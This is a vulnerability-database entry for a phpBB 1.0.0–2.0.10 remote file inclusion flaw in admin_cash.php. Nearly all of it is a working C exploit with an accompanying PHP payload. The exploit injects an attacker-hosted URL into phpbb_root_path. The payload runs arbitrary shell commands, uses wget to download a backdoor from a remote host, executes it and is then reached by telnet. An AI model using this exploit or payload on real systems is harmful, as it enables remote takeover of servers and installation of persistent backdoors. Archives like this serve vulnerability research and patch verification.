phpBB v1.0.0 - 2.0.10 admin_cash.php remote exploit

2004-12-05T00:00:00
ID SSV:15406
Type seebug
Reporter Root
Modified 2004-12-05T00:00:00

Description

No description provided by source.

                                        
                                            
                                                /*
 exploit for phpBB 1.0.0 - 2.0.10
 
 edit the b4b0.php file with the correct url to your backdoor and the correct filename for your backdoor upload it to a webserver.

 gcc -o b4b0-phpbb b4b0-phpbb.c

./b4b0-phpbb <url_to_system> <phpbb_dir> <url_to_b4b0.php>
telnet <url_of_exploited_system> <port_of_back_door>

greets to b4b0 

	-- evilrabbi
*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

void help(char *program_name);

int main(int argc, char *argv[]) {

        struct sockaddr_in trg;
        struct hostent *he;

        int sockfd, buff;
	char buffer[1024];
	char *request;

	if(argc != 4 ) {
		help(argv[0]);
		exit(0);
	} 
 
        he = gethostbyname(argv[1]);
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
	request = (char *) malloc(1024);

        trg.sin_family = AF_INET;
        trg.sin_port = htons(80);
        trg.sin_addr = *((struct in_addr *) he->h_addr);
        memset(&(trg.sin_zero), '\0', 8);
	
	connect(sockfd, (struct sockaddr *)&trg, sizeof(struct sockaddr));
	sprintf(request,"GET http://%s/%s/admin/admin_cash.php?setmodules=1&phpbb_root_path=http://%s?cmd=w\n",argv[1],argv[2],argv[3]);
	send(sockfd,request,strlen(request),0);
	buff=recv(sockfd, buffer, 1024-1, 0);
	buffer[buff] = '\0';
	printf("%s",buffer);
	close(sockfd);
	return 0;

}

void help(char *program_name) {

	printf("b4b0-phpbb.c by evilrabbi for b4b0\n\n");
	printf("%s hostname phpbb2_dir url_to_bad_php\n",program_name);
	printf("%s www.example.com phpBB2 blah.com/b4b0.php.php\n",program_name);
}


/* Start of b4b0.php */

/*

b4b0 kickin ass again.......
System was exploited telnet to the port you have your backdoor set to listen on.
<?
 if (isset($chdir)) @chdir($chdir);
  ob_start();
  system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
   system("cd /tmp; wget url_to_backdoor;chmod +x backdoor_name;./backdoor_name"); // EDIT THIS INFO!!!!!!!!!!!!!
   $output = ob_get_contents();
  ob_end_clean();
  if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
?>

*/